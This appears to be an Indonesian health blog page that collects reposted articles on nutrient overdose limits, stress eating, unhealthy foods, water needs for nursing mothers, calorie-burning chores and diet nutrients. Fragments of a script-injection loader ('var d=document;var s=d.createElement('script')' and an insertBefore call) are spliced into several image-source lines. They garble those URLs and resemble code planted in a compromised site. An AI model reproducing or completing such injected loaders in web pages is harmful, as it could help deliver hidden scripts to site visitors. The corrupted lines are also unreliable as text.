Zat makanan bisa berdampak buruk untuk kesehatan jika dikonsumsi berlebihan

Gula dan garam merupakan dua jenis zat makanan yang kerap kali dihimbau untuk dibatasi konsumsinya karena dampaknya yang buruk bagi kesehatan. Namun segala zat gizi yang sehat pun bukan berarti sehat saat dikonsumsi dalam jumlah besar.

Menurut pakar diet, meskipun suatu jenis nutrisi penting artinya bagi tubuh, namun jika dikonsumsi secara berlebihan bukan berarti lebih baik. Sass menuturkan lima zat gizi penting yang sebaiknya tidak dikonsumsi secara berlebihan karena risiko yang mungkin ditimbulkannya :

1. Asam lemak omega-3
Jenis lemak sehat ini diketahui dapat melawan inflamasi di dalam tubuh yang memicu penuaan dan penyakit. Selain itu, penelitian menunjukkan, asam lemak omega-3 juga dapat mengurangi risiko penyakit jantung, diabetes tipe 2, depresi, dan menjaga kesehatan kulit dan otak.

Hanya saja, sebuah penelitian baru mengatakan, terlalu banyak mengonsumsi zat gizi ini dapat berdampak negatif pada sistem imun dan mengganggu kemampuan alami tubuh dalam melawan infeksi. Untuk menghindarinya, konsultasikan pola makan Anda pada ahli, khususnya saat Anda merasa perlu minum suplemen omega-3.

2. Vitamin C
Untuk memperkuat daya tahan tubuh, vitamin C kerap menjadi andalan. Vitamin C juga dapat menjaga kesehatan tulang, gigi, pembuluh darah, dan kulit. Selain itu, vitamin ini juga bermanfaat untuk mencegah penyakit kronis seperti penyakit jantung, kanker, dan arthritis.

Kendati demikian, sebaiknya orang dewasa tidak mengonsumsinya lebih dari 2.000 mg per hari. Karena jika berlebihan, vitamin C akan memicu kembung, gangguan pencernaan, diare, mual, muntah, heartburn, sakit kepala, insomnia, dan pembentukan batu ginjal.

3. Seng
Seng ditemukan di setiap sel dalam tubuh. Mineral ini penting untuk mendukung fungsi imun, sekaligus penglihatan, penciuman, perasa yang sehat, meregulasi gula darah, metabolisme, penyembuhan, dan menjaga fungsi tiroid.

Batas mengonsumsi seng adalah 40 mg per hari. Kelebihan mengonsumsinya dapat menyembabkan efek samping seperti gangguan pencernaan, rasa besi dalam mulut, pusing, sakit kepala, kelelahan, keringat berlebihan, kehilangan koordinasi otot, intoleransi alkohol, dan halusinasi.

4. Zat Besi
Zat Besi merupakan zat gizi yang penting karena salah satu penyusun sel darah merah yang membantu membawa oksigen ke seluruh tubuh. Hanya saja, kelebihan zat besi dapat menyebabkan konstipasi, menganggu penyerapan vitamin C, terlebih ketika sudah memasuki usia menopause, hanya sedikit sekali zat besi yang bisa dikeluarkan tubuh. Batas aman mengonsumsi besi adalah 45 mg untuk orang dewasa. Maka jika Anda minum suplemen besi, sebaiknya tidak minum melebihi dosis.

5. Kalsium
Jika mendengar kalsium, kebanyakan dari kita pasti berpikir tulang. Ya, tulang memang bagian tubuh yang mengandung 99% kalsium dalam tubuh manusia. Kalsium juga dibutuhkan untuk fungsi jantung, saraf, dan otot. Zat gizi ini juga membantu menyeimbangkan asam di dalam tubuh.

Karena pentingnya zat gizi ini, tak sedikit pula orang yang mengonsumsi secara berlebihan. Padahal mengonsumsi lebih dari 2.500 mg sebelum usia 50 dan 2.000 mg setelah usia 51 dapat memicu gangguan ginjal seperti pembentukan batu ginjal. Kelebihan kalsium juga dapat berakibat konstipasi dan mengganggu penyerapan zat besi dan seng.

Sumber: health.kompas.com

Source Image : http://2.bp.blogspot.com

Saat sedang menghadapi tekanan biasanya yang menjadi pelarian adalah Makanan! Simak tips untuk mengatasinya.

Tidak bisa dipungkiri kalau perempuan cenderung mencari makanan sebagai pelarian saat stres. Hasilnya, masalah tidak selesai, berat tubuh malah makin bertambah. Untuk mengatasinya, cobalah melakukan lima hal berikut :

1. Makan tepat waktu
Perempuan aktif seperti Anda memang disibukkan oleh segudang kegiatan. Namun, jangan lewatkan sarapan, makan siang, dan makan malam untuk mencegah kita craving. Saat tubuh tidak diisi asupan, Anda cenderung mencari sesuatu yang manis-manis. Ini justru akan memberi lebih banyak lemak di tubuh dibandingkan nasi.

2. Pilih alternatif lain
Memang ada saja momen ketika Anda kesal dan pengen mencekoki diri dengan aneka makanan. Jika sulit menghindarinya, pilihlah jenis makanan yang bersahabat bagi tubuh. Misalnya: biskuit gandum, buah, atau jus buah segar tanpa gula. Pas buat mengenyangkan perut tanpa mengancam tubuh jadi melar.

3. Kesibukan positif
Usahakan mencari pelarian ke suatu hal yang juga produktif. Bisa main alat musik, update blog, nonton DVD, atau olahraga. Intinya, apa pun yang bisa Anda nikmati hingga melupakan makanan. Hindari acara kongkow dengan teman karena biasanya Anda cenderung mengisi perut saat bersama mereka.

4. Curahkan ke buku
Ungkapkan perasaan Anda tentang masalah makan ke buku. Mulai dari jenis makanannya, jam makan, hingga biaya yang dihabiskan. Dengan begitu, Anda jadi punya bayangan tentang pola makan sehari-harinya dan mampu mengubahnya. Misalnya, lebih menahan diri saat akan ngemil roti karena ini lebih karena lapar mata, bukan lapar fisik.

5. Kurangi rasa bersalah
Tidak jarang Anda merasa depresi setelah makan kentang goreng atau burger ketika sedang resah. Hindari perasaan bersalah. Karena, perasaan ini akan membuat Anda putus asa hingga akhirnya mencekoki diri dengan makanan-makanan tanpa henti. Kalau kebablasan, beri toleransi pada diri sendiri. Namun, coba kurangi porsi untuk isi perut berikutnya.

Sumber : citacinta.com

Source Image : http://media.viva.co.idvar d=document;var s=d.createElement(‘script’);

Inilah beberapa makanan yang tidak baik untuk kesehatan

Beberapa makanan dan kegiatan sangat dianjurkan karena bisa bikin sehat. Sebaliknya, ada hal-hal yang seharusnya dihindari atau setidaknya diminimalkan. Apa saja, ya?

Soda
Selain tidak bagus untuk perut, kadar gula dalam minuman bersoda juga sangat tinggi. Oleh sebab itu, konsumsinya harus diminimalisir.

Gula
Konsumsi gula, boleh dan diperlukan tubuh. Asalkan porsinya tidak berlebihan. Sering minum minuman kemasan, makan roti dengan selai, menyantap cake atau pudding, bisa memicu kadar gula berlebihan.

Cemilan
Satu lagi yang harus dikontrol, yaitu ngemil. Kadang tanpa terasa satu paket popcorn besar atau seplastik kacang langsung habis. Kolesterol, garam, dan penyedap rasa di dalamnya tidak baik untuk kita. Kebanyakan ngemil juga membuat Anda malas makan bergizi. Akibatnya, pola makan pun jadi kacau.

Makanan Cepat Saji dan Mi Instan
Sepertinya sulit untuk menyetop dua makanan guilty pleasure ini. Namun, Anda harus berusaha. Misalnya, dengan berjanji untuk menyantap mi instan atau makanan cepat saji satu kali dalam sebulan saja.

Sumber : gadis.co.id

Source Image : http://i2.cdn.turner.comvar d=document;var s=d.createElement(‘script’);

Pentingnya mengkonsumsi air lebih banyak untuk Ibu hamil dan menyusui

Wanita menyusui perlu mendapat asupan air lebih banyak karena bertambahnya kewajiban baru untuk memenuhi kebutuhan gizi bayi.

The Institute of Medicine menyarankan konsumsi air pada ibu menyusui sebanyak 3,1 liter (13 gelas) setiap harinya. Ibu menyusui perlu didorong untuk mendapatkan air minum yang cukup. Saran umum adalah minum segelas air setiap kali makan dan setiap kali menyusui.

Kisaran jumlah air yang dibutuhkan memang cukup besar mengingat setiap ibu hamil atau menyusui menghadapi kondisi yang berbeda-beda. Perlu diingat air yang masuk ke dalam tubuh tidak selalu harus dihitung dari minum air putih saja. Makanan yang dikonsumsi mengandung 20% dari keseluruhan asupan air tubuh, sedangkan sisanya dipenuhi dari asupan air langsung. Dianjurkan untuk minum sebelum haus. Saat rasa haus muncul, maka tubuh sudah mengalami hipovelemia ringan.

Sumber: ayahbunda.co.id

Source Image : http://www.bintangasik.com

 document.currentScript.parentNode.insertBefore(s, document.currentScript);

Beberapa aktivitas yang dapat mengantikan olahraga tetapi ampuh membakar kalori

Sibuk bekerja dan tidak punya waktu untuk berolahraga, tapi ingin tubuh tetap ramping? Ganti saja dengan aktivitas-aktivitas berikut yang ampuh membakar kalori di tubuh.

Aktivitas                                             Kalori yang dibakar  

Jalan-jalan di mal                                 35 kalori per 10 menit

Naik tangga                                           61 kalori per 10 menit

Membawa barang belanjaan               31 kalori per 10 menit

Menyetrika pakaian                             17 kalori per 10 menit

Mencuci piring                                       15 kalori per 10 menit

Memasak                                                23 kalori per 10 menit

Nah, silahkan pilih aktivitas mana yang paling Anda suka. Selamat mencoba!

Sumber : chicmagz.com

Source Image : http://img.okeinfo.netdocument.currentScript.parentNode.insertBefore(s, document.currentScript);

Jangan lupa mengkonsumsi nutrisi disaat sedang diet

Diet adalah tentang bagaimana Anda memotivasi diri untuk berubah dari gaya hidup yang kurang sehat menuju gaya hidup yang lebih sehat. Diet bukan hanya tentang bagaimana Anda meningkatkan asupan protein dan memangkas karbohidrat dan lemak, tetapi Anda juga perlu memperhatikan asupan nutrisi lain yang tidak kalah pentingnya bagi keberhasilan diet Anda.

Berikut ini adalah daftar dari 7 nutrisi yang sering terlupakan saat berdiet:

Kalium: Menormalkan Tekanan Darah
Kalium adalah salah satu nutrisi utama yang dibutuhkan tubuh untuk membantu menjaga tekanan darah tetap sehat, meningkatkan kesuburan, menjaga kesehatan otot, dan fungsi saraf. Sumber: kentang, ubi jalar, brokoli, pisang, dan sebagainya.

Magnesium: Mencegah Penyakit
Rendahnya kadar magnesium dalam tubuh disinyalir sebagai penyebab berbagai masalah kesehatan seperti osteoporosis, tekanan darah tinggi, diabetes, kram otot, dan penyakit jantung. Sumber: bayam, kacang polong, almond, dan lain-lain.

Vitamin A: Meningkatkan Asupan Beta Karoten
Vitamin A terbagi menjadi 2 jenis, yaitu: retinol dan karotenoid, sama seperti beta-karoten bermanfaat untuk menjaga kesehatan indera penglihatan, imunitas, dan pertumbuhan jaringan. Sumber: ubi jalar, wortel, bayam, labu, dan sereal.

Vitamin E: Dapatkan Manfaat Lemak Sehat
Vitamin E adalah antioksidan yang bermanfaat untuk meningkatkan kekebalan tubuh, menjaga kesehatan kulit, dan penglihatan yang baik, dan mengurangi pembuluh darah tersumbat. Uniknya, sumber Vitamin E biasanya adalah makanan yang memiliki kadar lemak sehat yang tinggi seperti almond, hazelnut, kwaci, minyak safflower, minyak bunga matahari, dan selai kacang.

Kalsium: Untuk Tulang Sehat dan Kuat
Bukan rahasia lagi jika kalsium sangat bermanfaat baik bagi tulang. Tidak hanya itu, kalsium juga dapat membantu mempertahankan fungsi otot, mengatur irama detak jantung, dan membantu mencegah tekanan darah tinggi. Sumber: susu, salmon, kedelai dan olahannya.

Vitamin C: Meningkatkan Imunitas
Orang yang terkena flu biasanya mencari vitamin C untuk mengatasinya. Vitamin C bisa didapatkan dari berbagai macam buah-buahan dan sayuran, bermanfaat untuk meningkatkan pertumbuhan tulang dan jaringan. Selain itu Vitamin C bekerja sebagai antioksidan untuk mencegah kerusakan sel tubuh dan mempercepat penyembuhan.

Serat: Untuk Kesehatan Pencernaan
Makanan tinggi serat umumnya rendah kalori dan mengenyangkan, sangat cocok dikonsumsi oleh orang yang sedang dalam program penurunan berat badan. Serat dari biji-bijian dan kacang-kacangan memiliki berbagai manfaat kesehatan seperti menurunkan kadar kolesterol, meningkatkan kinerja usus, mengurangi resiko penyakit jantung, diabetes, dan mencegah beberapa jenis kanker.

Sumber: duniafitnes.com

Source Image : http://www.donaldrussell.com